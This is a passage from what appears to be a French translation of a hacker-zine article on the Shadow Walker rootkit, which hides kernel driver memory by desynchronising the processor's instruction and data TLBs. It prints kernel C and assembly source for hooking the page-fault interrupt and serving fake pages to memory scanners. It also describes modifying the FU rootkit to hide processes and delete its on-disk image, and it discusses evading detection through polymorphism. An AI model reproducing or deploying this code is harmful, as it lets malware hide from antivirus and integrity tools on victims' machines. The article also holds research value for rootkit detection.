parquées comme non présentes et leurs entrées dans le TLB sont retirées
par l'instruction invlpg. Ceci nous garantis que tous les prochains accès
seront filtrés par notre gestionnaire de défaut de pages fraichement
installé. Dans ce gestionaire, nous déterminons si un accès mémoire est du
à une lecture/écriture en comparant le pointeur d'instruction sauvegardé
et l'adresse demandée. Si elles correspondent,  l'accès mémoire est une
exécution. Dans l'autre cas, c'est du à une lecture/écriture. Le type
d'accès détermine quel correspondance est manuellement incorporée dans
l'ITLB ou le DTLB. La figure 5 montre une vue conceptuelle de cette
stratégie.

Enfin, il est important de note que les accès au TLB sont bien plus
rapides que de faire une recherche dans la table des pages. En général,
les défauts de pages sont coûteux. Donc, à première vue, il apparait que
marquer les pages comme absentes va causer une grosse pénalité
d'exécution. En fait, ce n'est pas le cas. Bien que nous marquions la page
comme non présente, pour la plupart des accès mémoire, nous ne générons
pas de défaut de page parce que les entrées sont mises en cache dans le
TLB. Avec bien sûr l'exception des défauts initiaux après avoir marqué une
page non présente et les défaut suivants qui résultent du retrait des
entrées du TLB quand il devient plein. Donc, le principal job de notre
nouveau gestionnaire de défaut de page est de charger explicitement et
sélectivement les bonnes correspondances pour les pages camouflées dans
l'ITLB et le DTLB. Tous les autres défauts de pages sont passé au
gestionnaire du système d'exploitation.

                                                     +-------------+
                                      code du rootkit|   CADRE 1   |
      Est-ce  +-----------+           /------------->|             |
      un accès|           |           |              |-------------|
      du code?|   ITLB    |           |              |   CADRE 2   |
      /------>|-----------|-----------/              |             |
      |       |  VPN=12   |                          |-------------|
      |       |  Cadre=1  |                          |   CADRE 3   |
      |       +-----------+                          |             |
      |                           +-------------+    |-------------|
   Accès                          | PAGE TABLES |    |   CADRE 4   |
   Mémoire                        +-------------+    |             |
   VPN=12                                            |-------------|
      |                                              |   CADRE 5   |
      |       +-----------+                          |             |
      |       |           |                          |-------------|
      |       |   DTLB    |        contenu aléatoire |   CADRE 6   |
      |------>|------------------------------------->|             |
      Est-ce  |  VPN=12   |                          |-------------|
      un accès|  Cadre=6  |                          |   CADRE N   |
      mémoire?+-----------+                          |             |
                                                     +-------------+

  [ Figure 5 - Fausser les lectures/écritures en désynchronisant le TLB ]

----[ 3.2 - Cacher des données

Cacher des données est significativement moins optimal que cacher du code,
mais peut être acompli si vous êtes près à en payer la pénalité de
performances. Nous avons réussi à n'avoir qu'une pénalité minimale en
cachant le code exécutable en profitant du fait que l'ITLB puisse contenir
des informations différentes du DTLB. Le code peut s'exécuter très vite
avec un minimum de défauts de pages parce que la correspondance est
toujours présente dans l'ITLB (sauf dans les rares cas où l'entrée de
l'ITLB est supprimée du cache). Malheureusement, dans le cas des données,
on ne peut pas utiliser cette désynchronisation. Il n'y a qu'un DTLB et en
conséquence, nous devont le maintenir vide si nous voulons récupérer et
filtrer les accès aux données. Le résultat principal est que nous obtenons
un défaut de page par accès aux données. Ce n'est pas un gros problème si
nous voulons cacher un driver spécific qui soit soigneusement conçu pour
utiliser un minimum de données globales, mais la pénalité de performances
serait formidable si nous voulions cacher une page fréquement demandée.

Pour le camouflage des données, nous avons utilisé une approche basée sur
un protocol entre le driver camouflé et la gestion de la mémoire. On l'a
fait pour montrer comment on peut faire pour cacher des données globales
dans un rootkit en driver. Pour permettre à l'accès mémoire d'être
effectué, le DTLB est chargé par le gestionnaire de défaut de pages. Pour
améliorer le filtrage correcte des accès mémoires, le driver doit
cependant vider immédiatement le DTLB ; pour éviter qu'un autre code
voulant accéder à cette zone mémoire ne récupère la mauvaise page. Le
protocol pour accéder à des données d'une page cachée est le suivant :

1. Le driver monte l'IRDL au DISPATCH_LEVEL (pour être sur qu'aucun autre
   code ne récupère l'exécution, ce qui lui permettrait de voir les
   données "cachée" au lieu des données "faussées").

2. Le driver doit explicitement vider les entrées du TLB pour les pages
   contenant des variables camouflées en utilisant l'instruction invlpg.
   Au cas où un autre processus ait essayé d'accéder aux pages contenant
   nos données et ait reçu les fausses pages (en fait, nous ne voulons
   pas récupérer la mauvaise correspondance qui pourrait toujours résider
   dans le TLB, donc, nous le vidons pour être sûrs).

3. Le driver est autorisé à faire des accès mémoires.

4. Le driver doit explicitement flusher l'entrée du TLB pour les pages
   contenant les variables camouflées en utilisant l'instruction invlpg
   (c'est à dire pour que la correspondance "réelle" ne reste pas dans le
   TLB. Nous ne voulons pas qu'un autre driver ou un autre processus ne
   récupère les pages cachées, donc, nous le vidons.).

5. Le driver remet l'IRQL au niveau précédant l'appel au driver.

Les restrictions suivantes s'appliquent aussi :

  - Aucune donnée globale ne peut être passée aux fonctions de l'API du
    noyau. Quand on appelle une API, les données globales doivent être
	copiées localement, dans la pile, et passées aux fonctions de l'API
	(si l'API veut accéder aux données camouflées, elle va recevoir les
	fausses données et fonctionnera mal).

Ce protocol peut être efficacement implémenté dans le driver camouflé en
copiant toutes les données globales dans des variables locales au début
de la procédure et de les remettre en place à la fin. Puisque les données
sur la pile sont en constante évolution, il est improbable qu'on puisse
faire confiance à une signature prise à partir des données dans la pile.
De cette manière, on a pas besoin de générer un défaut de page à chaque
accès mémoire. En général, on a besoin que d'un défaut de page, au début
de la procédure et un défaut pour remettre les données à leur place à la
fin. Il est vrai que ça ne prend pas en compte des cas plus complexes
avec des accès multithreadés et de la synchronisation. Une approche
alternative à l'utilisation d'un protocole entre driver et gestionnaire
de défaut de pages serait d'exécuter "pas à pas" les instructions
générant les accès mémoires. Ceci serait moins encombrant pour le driver
et permettrait toujours au gestionnaire de défaut de page de garder le
controle du DTLB (c'est à dire le vider après l'accès mémoire pour qu'il
reste vide).

----[ 3.3 - Travaux en rapport

Ironiquement, la technologie de camouflage de données discutée dans cet
article est dérivée d'un schéma de protection de débordement de pile
existant et connu sous le nom de PaX. Et donc, nous avons montré une
application potentielle offensive d'une technique originellement
défensive. Bien que très similaire (prendre l'avantage de l'architecture
de deux TLB du Pentium), il y a quelques différences subtiles entre PaX
et l'utilisation du rootkit de notre technologie. Tandis que notre
camouflage de rootkit met l'accent sur la sémantique "exécution normale,
lecture/écritures diverties", PaX met l'accent sur la sémantique
"lecture/écritures normales, aucune exécution". Ceci permet à PaX de
fournir un support logiciel pour une pile non-exécutable sous
architecture IA-32, contrariant ainsi une large classe d'attaques basées
sur les buffers overflows. Quand un système protégé par PaX détecte une
tentative d'exécution sur une zone en lecture/écriture seulement, il
termine le processus fautif. Un support pour des mémoires non-exécutables
a donc été ajouté au format des entrées des tables des pages pour
certains processeurs incluant IA-32 et Pentium 4. À l'opposé de PaX,
notre gestionnaire de rootkit permet une exécution normale tout en
divertissant les accès en lecture/écriture vers les pages cachées en leur
fournissant des fausses pages. Enfin, on peut noter que PaX utilise le
bits utilisateur/superutilisateur pour générer les défauts de pages
nécessaires à sa protection. Ceci limite la protection aux pages
utilisateurs, ce qui est inintéressant dans notre cas des rootkits
noyaux. Et donc, nous utilisont le bits présent/nonprésent du PTE dans
notre implémentations.

----[ 3.4 - Implémentation de la preuve de concept

Notre implémentation courante utilise une version modifiée du rootkit FU
et un nouveau gestionnaire de défaut de pages appellé Shadow Walker.
Puisque FU altère des structures de données du noyau pour cacher des
processus et n'utilise aucun crochet dans le code, nous n'avons besoin
que de cacher le driver FU en mémoire. Le noyau gère chaque processus qui
fonctionne sur le système en le stockant dans une liste chainée interne.
FU déconnecte de cette liste les processus qu'il veut cacher.

------[ 3.4.a - Rootkit FU modifié

Nous avons modifié la version de FU disponible à rootkit.com. Pour le
rendre plus discret, nous avons supprimé sa nécessité d'un programme
d'initialisation en mode utilisateur.  Maintenant, toutes les
informations d'installation sous la forme d'offsets dépendant de l'OS
sont changés par des fonctions au niveau noyau. En supprimant la partie
en mode utilisateur, nous avons supprimé le besoin d'un lien symbolique
vers le driver et le besoin de créer un périphérique fonctionnel, ces
deux choses étant facilement détectables. Une fois FU lancé, son image
sur le disque est supprimée pour que des scans d'antivirus sur le système
de fichier ne le trouve pas. Vous pouvez aussi imaginer que FU soit lancé
à partir d'un exploit noyau et chargé en mémoire directement, évitant
toute détection de son image sur le disque. Aussi, FU cache tous les
processus dont le nom est préfixé par _fu_, sans considération de son ID
(PID). Nous créons un thread système qui scan continuellement la liste
des processus à la recherche du préfixe. FU et le crochet mémoire, Shadow
Walker, on fonctinné collusion ; et donc, FU se base sur Shaqow Walker
pour supprimer un driver de la liste chainée des drivers en mémoire et du
répertoire des driver du Windows Object Manager.

----[ 3.4.b - Moteur de détournement de la mémoire de Shadow Walker

Shadow Walker consiste en un l'installation d'un module de détournement
de la mémoire et un nouveau gestionnaire de défaut de pages. Le module de
détournement de mémoire prend l'adresse virtuelle des pages à camoufler
en paramètre. Il utilise les informations présentes dans l'adresse pour
faire quelques vérifications de cohérence. Shadow Walker installe ensuite
le nouveau gestionnaire de défaut de pages en détournant l'interruption
int 0E (s'il n'a pas encore été installé) et insère les informations sur
la page camouflée dans une table de hashage pour pouvoir les retrouver
rapidement lors de défauts de pages. Enfin, la PTE de cette page est
parquée comme non présente et l'entrée dans le TLB pour cette page est
supprimée. Ceci garanti que les prochains accès à cette page seront
filtré par notre nouveau gestionnaire.

/*************************************************************************
* HookMemoryPage - Détourne une page mémoire en la marquant non présente
*                  et vide les entrées du TLB. Ceci garantis que tous les
*                  prochains accès mémoire génèreront des défauts de pages
*                  et seront gérés par le gestionnaire de défaut de pages.
*
* Paramètres :
*      PVOID pExecutePage - Pointeur vers la page qui sera utilisée pour
*                           les accès en exécution
*
*      PVOID pReadWritePage - Pointeur vers la page d'où charger les
*                             informations dans la DTLB lors d'un accès
*                             mémoire
*
*      PVOID pfnCallIntoHookedPage - Une procédure qui sera appellée dans
*                                    le gestionnaire pour charger l'ITLB
*                                    lors d'accès en exécution.
*
*      PVOID pDriverStarts (optional) - Donne l'adresse de base de la zone
*                                       valide des données accédées depuis
*                                       la page camouflée.
*
*      PVOID pDriverEnds (optional) - Donne l'adresse de fin de la zone
*                                     valide des données accédées depuis
*                                     la page camouflée.
* Retourne - rien
**************************************************************************/
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage, 
                     PVOID pfnCallIntoHookedPage, PVOID pDriverStarts, 
                     PVOID pDriverEnds )
{
        HOOKED_LIST_ENTRY HookedPage = {0};
        HookedPage.pExecuteView = pExecutePage;
        HookedPage.pReadWriteView = pReadWritePage;
        HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;

        if( pDriverStarts != NULL)
           HookedPage.pDriverStarts = (ULONG)pDriverStarts;
        else 
           HookedPage.pDriverStarts = (ULONG)pExecutePage;

        if( pDriverEnds != NULL)
           HookedPage.pDriverEnds = (ULONG)pDriverEnds;
        else
        {       //mis par défaut si pDriverEnds n'est pas défini
                if( IsInLargePage( pExecutePage ) )
                   HookedPage.pDriverEnds = 
                   (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE; 
                else
                   HookedPage.pDriverEnds = 
                   (ULONG)HookedPage.pDriverStarts + PAGE_SIZE;
        }//end if

        __asm cli // désactive les interruptions

        if( hooked == false )
        {      HookInt( &g_OldInt0EHandler,
                      (unsigned long)NewInt0EHandler, 0x0E );
               hooked = true;
        }//end if

        HookedPage.pExecutePte = GetPteAddress( pExecutePage );
        HookedPage.pReadWritePte = GetPteAddress( pReadWritePage );

        //Insère la page camouflée dans la liste
        PushPageIntoHookedList( HookedPage );

        //Active les fonctionnalités globale de la page
        EnableGlobalPageFeature( HookedPage.pExecutePte );

        //Marque la page non présente
        MarkPageNotPresent( HookedPage.pExecutePte );

        // Continue et vide les TLB. Nous voulons garantir que tous les
        // Prochains accès vers cette page camouflée soient filtrés
        // Par notre nouveau gestionnaire.
        __asm invlpg pExecutePage

        __asm sti // réactive les interruptions
}//end HookMemoryPage

Les fonctionnalités du gestionnaire de défaut de pages sont relativement
intuitives malgré la complexité apparente de la méthode. Ses fonctions
principales sont de déterminer si un défaut de page donné vient d'une page
camouflée, de résoudre le type d'accès et de charger le TLB approprié. Et
donc, le gestionnaire a deux chemins d'exécutions de base. Si la page
n'est pas camouflée, il fait suivre la page au gestionnaire du système
d'exploitation. Ceci est déterminé aussi tôt et rapidement que possible.
Les défauts venant d'adresses du mode utlisateur ou quand le processeur
est en mode utilisateur sont immédiatement transférés. Le sort des accès
du noyau est aussi très vite déterminé via une recherche dans une table de
hashage. Autrement, une fois qu'on sait que la page est camouflée, le type
d'accès est vérifié et on continue vers le code de chargement du TLB
approprié (Les accès en exécution génèreront un chargement dans l'ITLB
tantdis que les accès en Lecture/écriture concerneront le DTLB). Le
processus de chargement du TLB est le suivant :

1. La correspondante vers le cadre physique approprié est chargé dans la
   PTE pour l'adresse fautive.
2. La page est temporairement marquée présente.
3. Pour un chargement en DTLB, on fait une lecture dans la page.
4. Pour un chargement en ITLB, un fait un call vers cette page.
5. La page est remarquée comme non présente.
6. L'ancienne correspondance pour la page est restaurée dans la PTE.

Après le chargement du TLB, le contrôle est directement retourné au code
fautif.

/**************************************************************************
* NewInt0EHandler - Gestionnaire de défaut de page pour le moteur de
*                   détournement de pages (càd. le coeur de tout ce
*                   truc ;)
*
* Paramètres - aucun
*
* Retourne   - rien
*
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)
{
        __asm
        {
                pushad
                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode

                test edx, 0x04 //si le processeur est en mode utilisateur
                jnz PassDown   //on passe

                mov eax,cr2     //adresse virtuelle fautive
                cmp eax, HIGHEST_USER_ADDRESS
                jbe PassDown   // on ne détourne pas les pages utilisateur
                               // on passe
                ////////////////////////////////////////
                //Est-ce une page détournée ?
                /////////////////////////////////////////
                push eax
                call FindPageInHookedList
                mov ebp, eax // pointeur vers la structure HOOKED_PAGE
                cmp ebp, ERROR_PAGE_NOT_IN_LIST
                jz PassDown  // ce n'est pas une page détournée

                ///////////////////////////////////////
                //NOTE : Ici, nous savons que c'est une
                // page détournée. Nous ne détournons
                // aussi que des pages noyaux qui sont
                // soit non paginées, ou bloquées en
                // en mémoire. Donc, nous assumons que
                // toutes les tables de pages sont
                // internes pour résoudre l'adrese.
                /////////////////////////////////////
                mov eax, cr2
                mov esi, PROCESS_PAGE_DIR_BASE
                mov ebx, eax
                shr ebx, 22
                lea ebx, [esi + ebx*4] // ebx = pPTE pour les grandes pages
                test [ebx], 0x80       // est-ce une grosse page ?
                jnz IsLargePage

                mov esi, PROCESS_PAGE_TABLE_BASE
                mov ebx, eax
                shr ebx, 12
                lea ebx, [esi + ebx*4]  //ebx = pPTE

IsLargePage:

                cmp [esp+0x24], eax     // est-ce une tentative d'exec ?
                jne LoadDTLB

                ////////////////////////////////
                // C'est une exécution,
                // chargeons l'ITLB.
                ////////////////////////////////
                cli
                or dword ptr [ebx], 0x01         // marque comme présent
                call [ebp].pfnCallIntoHookedPage // charge l'itlb
                and dword ptr [ebx], 0xFFFFFFFE  // marque non présente
                sti
                jmp ReturnWithoutPassdown

                ////////////////////////////////
                // C'est un accès Lecture/écriture
                // Charge le DTLB
                ///////////////////////////////
                ///////////////////////////////
                // Vérifier que l'accès vient
                // d'une page camouflée.
                ///////////////////////////////
LoadDTLB:
                mov edx, [esp+0x24]             //eip
                cmp edx,[ebp].pDriverStarts
                jb LoadFakeFrame
                cmp edx,[ebp].pDriverEnds
                ja LoadFakeFrame

                /////////////////////////////////
                // Si l'accès vient d'une page cachée
                // alors continuons. le code dans la
                // page cachée suivra le protocole
                // pour vider la table après ses accès.
                ////////////////////////////////
                cli
                or dword ptr [ebx], 0x01        //marque présente
                mov eax, dword ptr [eax]        //charge le DTLB
                and dword ptr [ebx], 0xFFFFFFFE //marque non présente
                sti
                jmp ReturnWithoutPassdown

                /////////////////////////////////
                // On veut fausser cet accès
                // notre code ne le génère pas.
                /////////////////////////////////
LoadFakeFrame:
                mov esi, [ebp].pReadWritePte
                mov ecx, dword ptr [esi]            //ecx = PTE de la
                                                    //page lue/écrite

                //remplacer le cadre par le faux
                mov edi, [ebx]
                and edi, 0x00000FFF //garde les 12 bits de poid faible
                                    //du PTE de la page fautive
                and ecx, 0xFFFFF000 //isole l'adresse physique du PTE
                                    //de la fausse page
                or ecx, edi
                mov edx, [ebx]     //sauve le PTE précédant,
                                   //pour le remetre plus tard
                cli
                mov [ebx], ecx    //remplace le cadre physique par
                                  //le faux cadre

                //charge le DTLB
                or dword ptr [ebx], 0x01   //marque la page présente
                mov eax, cr2               //adresse virtuelle fautive
                mov eax, dword ptr[eax]    //fait un accès mémoire
                and dword ptr [ebx], 0xFFFFFFFE //remarque non présente

                //Finalement, restaure le PTE original
                mov [ebx], edx
                sti

ReturnWithoutPassDown:
                popad
                add esp,4
                iretd

PassDown:
                popad
                jmp g_OldInt0EHandler

        }//end asm
}//end NewInt0E


--[ 4 - Limitations connues et impact sur les performances

Puisque notre implémentation de rootkit n'est qu'une preuve ce concepts
plus quun outil complet d'attaque, il a un grand nombre de limitations
dans son implémentation. La plupart des fonctionnalités peuvent être
ajoutées, si quelqu'un veut le faire. Tout d'abord, rien n'est fait pour
supporter le multithreading ou des systèmes multi-processuers. Ensuite, il
ne supporte pas le mode d'adressage du Pentium PAE qui étend le nombre de
bits de l'adresse de 32 à 36. Enfin, la conception est seulement faite
pour camoufler des pages de 4K en mode noyau (c'est à dire dans les 2GB
les plus haut de l'espace d'adressage. Nous mentionnons la limitation des
4K parce qu'il y a actuellement des problèmes techniques qui implique de
cacher des pages de 4Mb sur lesquelles ntoskrnl se base. Cacher les pages
contenant ntoskrnl serait une extension notable. En terme de performances,
nous n'avons pas fait de tests rigoureux, mais subjectivement parlant, il
n'y a pas d'impact visible après que le rootkit et le moteur de
détournement de la mémoire soit installés. Pour optimiser les
performances, comme déjà dit, le code et les données devraient rester sur
des pages séparées et l'utilisation de données globales doit être minimisé
pour limité l'impact sur les performance quand on veut activer à la fois
le camouflage ce pages et de données.

--[ 5 - Détection

Enfin, il y a quelques faiblesses évidentes qui doient être gérées pour
éviter la détection. Notre implémentation de la preuve de concept actuelle
ne les considère pas, cependant, nous les mentionnons dans le but d'être
complets.

Puisque nous devont être capables de faire la différence entre les défauts
de pages normaux et ceux relatifs au détournement de la mémoire, nous
imposont la nécessité que les pages camouflées soient dans une mémoire non
paginée. En clair, les pages non présentes dans la mémoire non paginée
présentent une anomalie. Que ça soit ou non un critère suffisent pour
lancer une alarme de rootkit est discutable. Verrouiller la table des
pages en utilisant une API comme MmProbeAndLockPages est surement plus
discret.

La faiblesse suivante réside dans le fait qu'on a besoin de cacher la
présence du gestionnaire de défaut de page. Puisque les pages dans
lesquelles le gestionnaire se trouve ne peuvent pas être marquées comme
non présentes (à cause d'un problème évident de code ré-entrant récursif),
il sera vulnérable à un simple scan de signature et doit être obscursi en
utilisant des méthodes plus traditionnelles. Puisque cette procédure est
petite et écrite en assembleur, et ne se base sur aucune API noyau, le
polymorphisme est une bonne solution.

Un faiblesse relative vient de la nécessité de cacher la présence du
détournement de l'IDT. Nous ne pouvons pas utiliser notre technique de
détournement de la mémoire pour cacher les modifications à la table de
description des interruption [NDT : IDT - Interrupt Description Table]
pour des raisons similaires. 

Bien qu'on puisse détourner l'interruption de défaut de page par un code
en dur [NDT : an inline hook] plutôt qu'une modification directe de l'IDT,
placer un détournement dans la page contenant le gestionnaire de l'OS de
l'INT 0E est problématique et les détournement en dur dans le code sont
facilement repérables. Joanna Rutkowska a proposé d'utiliser le registre
de débug pour cacher les détournement de l'IDT [5], mais Edgar Barbosa a
montré que ce n'est pas une solution complètement efficace [12].

C'est du au fait que le registre de débug est protegé en virtuel,
contrairement aux adresses physiques. On pourrait simplement faire
correspondre le cadre physique contenant l'IDT vers une nouvelle page
virtuelle et y faire des lectures/écritures comme on veut. Shadow Walker
est victe victime de ce type d'attaque, vu comment il est conçu, sur
l'exploitation des adresses virtuelles plutôt que les adresses physiques.

Malgré ces faiblesses admises, la plupart des scanneurs commercieux font
tout de même des scan de mémoire virtuelle plutôt que de la mémoire
physique et seront impuissants contre des rootkits comme Shadow Walker.

Enfin, Shadow Walker est insidieux. Même si un scanner détect sa présence,
il ne sera d'aucune utilité pour le retirer du système. Admetons qu'ils
réussisent à écraser le détournement avec le gestionnaire de défaut de
page original de l'OS, par exemple, ça va faire un BSOD [NDT : Blue Screen
Of the Death] puisque qu'il y aura certains défauts de pages généré par
les pages camouflées que ni l'anti-rootkit, ni l'OS ne puisse gérer.

--[ 6 - Conclusion

Shadow Walker n'est pas un outil d'attaque très bien armé. Ses
fonctionnalités sont limitées et il ne fait aucun effort pour cacher ses
détournements de l'IDT ou du code de gestion des défauts de pages. Il ne
fourni qu'une implémentation de preuve de concept pratiquable de
camouflage de la mémoire. En inversant l'implémentation logicielle
défensive de la mémoire non-exécutable, nous avont montré qu'il est
possible de fausser la vue de la mémoire virtuelle qu'a l'OS ou toute
application de scan de la mémoire. Grâce à son exploitation de
l'architecture du TLB, Shadow Walker est transparent et extrêmement léger
d'un pointe de vue des pénalités de performances. Ces caractéristiques le
rendront sans aucun doute très attractif pour les virus, vers et spyware
en plus des rootkits.

--[ 7 - References 

1. Tripwire, Inc. http://www.tripwire.com/
2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July, 
   2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/
   bh-us-04-butler.pdf
3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12
4. Holy Father, Hacker Defender. http://hxdef.czweb.org/
5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder
   2. January, 2004.
6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows 
   Kernel. July, 2005. 
7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: 
   www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): 
   www.fsecure.com/blacklight/
9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0
   http://www.eeye.com/~data/publish/whitepapers/research/
   OT20050205.FILE.pdf
10. Chong, S.K. Windows Local Kernel Exploitation. 
    http://www.bellua.com/bcs2005/asia05.archive/
    BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt
11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: 
    Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security
    Symposium 2004. 
12. Barbosa, Edgar. Avoiding Windows Rootkit Detection
    http://packetstormsecurity.org/filedesc/bypassEPA.pdf
13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003
    http://www.invisiblethings.org/papers/chameleon_concepts.pdf 
14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth 
    Edition.

--[ 8 - Remerciements

Mes remerciements vont à Joanna Rutkowska pour son papier sur le projet
Chamelon car il a été l'une des inspiration de ce projet, à l'équipe de
PAX pour nous avoir montré comment désynchroniser le TLB dans leur
implémentation logicielle de mémoire non-exécutable, à Halvar Flake pour
notre discussion initiale sur les idées de Shadow Walker, et à Kayaker
pour m'avoir aidé à beta-tester et débugé du code. Nous aimerions saluer
enfin tous les contributeurs de rootkit.com :)

|=[ EOF ]=---------------------------------------------------------------=|